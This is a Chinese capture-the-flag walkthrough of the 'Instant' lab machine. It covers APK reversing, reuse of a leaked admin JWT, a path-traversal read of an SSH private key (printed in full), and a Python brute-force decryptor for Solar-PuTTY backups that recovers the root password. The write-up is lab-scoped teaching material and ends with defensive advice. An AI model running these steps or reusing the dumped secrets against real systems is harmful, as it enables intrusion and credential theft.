[Meachines] [Medium] Instant APK逆向+swagger-API泄露+Solar-PuTTY权限提升
字数 983 2025-08-20 18:17:53
APK逆向与API安全漏洞利用实战教学
1. 信息收集阶段
1.1 目标识别
- 目标IP: 10.10.11.37
- 开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
1.2 Nmap扫描
nmap -p- 10.10.11.37 --min-rate 1000 -sC -sV -Pn
扫描结果:
- 80端口重定向到
http://instant.htb/ - 需要将域名添加到hosts文件:
echo '10.10.11.37 instant.htb' >> /etc/hosts
2. APK逆向分析
2.1 下载APK文件
访问http://instant.htb/downloads/instant.apk下载目标APK
2.2 使用JADX-GUI进行逆向
jadx-gui instant.apk
分析要点:
- 查找API端点
- 检查认证机制
- 寻找硬编码凭证或敏感信息
3. Swagger API接口发现与利用
3.1 添加Swagger子域名到hosts
echo '10.10.11.37 swagger-ui.instant.htb' >> /etc/hosts
3.2 访问Swagger UI
http://swagger-ui.instant.htb/apidocs/#/
3.3 获取管理员JWT令牌
在APK逆向过程中发现的管理员JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
3.4 利用JWT访问API
3.4.1 查看个人资料
curl http://swagger-ui.instant.htb/api/v1/view/profile \
-H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
3.4.2 读取日志文件(LFI漏洞)
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" \
-H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
3.4.3 获取SSH私钥
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=home/shirohige/.ssh/id_rsa" \
-H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
获取到的SSH私钥:
-----BEGIN OPENSSH PRIVATE KEY-----
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
bnN0YW50AQ==
-----END OPENSSH PRIVATE KEY-----
4. 获取初始访问权限
4.1 使用SSH私钥登录
ssh -i /tmp/id_rsa shirohige@10.10.11.37
4.2 获取用户标志
User.txt: 7ce05a448fc85acd533a428bcbc379fb
5. 权限提升(Solar-PuTTY漏洞利用)
5.1 发现Solar-PuTTY备份文件
scp -i /tmp/id_rsa shirohige@10.10.11.37:/opt/backups/Solar-PuTTY/sessions-backup.dat .
5.2 解密脚本(dec.py)
import base64
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt(passphrase, ciphertext):
try:
# Decode the base64 encoded ciphertext
array = base64.b64decode(ciphertext)
salt = array[:24]
iv = array[24:32]
encrypted_data = array[48:]
# Derive the key from the passphrase using PBKDF2
kdf = PBKDF2HMAC(
algorithm=hashes.SHA1(),
length=24, # Triple DES key size
salt=salt,
iterations=1000,
backend=default_backend()
)
key = kdf.derive(passphrase.encode())
# Create the cipher and decrypt the data
cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii())
return data
except Exception as e:
print(f'Error: {e}')
with open('./sessions-backup.dat') as f:
cipher = f.read()
with open('/usr/share/wordlists/rockyou.txt') as passwords:
for i, password in enumerate(passwords):
password = password.strip()
decrypted = decrypt(password, cipher)
print(f'[{i}] {password=}', end='\r')
if 'Credentials' in decrypted:
print('\r', i, password)
print()
print(decrypted)
break
5.3 暴力破解结果
- 用户名:
root - 密码:
12**24nzC!r0c%q12
5.4 获取root标志
Root.txt: 87154843d3fadd68b180691fee3ec007
6. 关键知识点总结
-
APK逆向工程:
- 使用JADX-GUI工具分析APK文件
- 查找硬编码的API端点、认证令牌等敏感信息
-
Swagger API利用:
- 发现并利用未受保护的API文档
- 使用泄露的JWT令牌进行API调用
- 利用LFI漏洞读取系统文件
-
权限提升技术:
- 识别Solar-PuTTY配置文件
- 理解加密机制并编写解密脚本
- 使用字典攻击破解加密凭证
-
安全防护建议:
- 保护API文档访问权限
- 避免在客户端存储敏感信息
- 实施适当的文件读取限制
- 使用强加密算法和密钥管理实践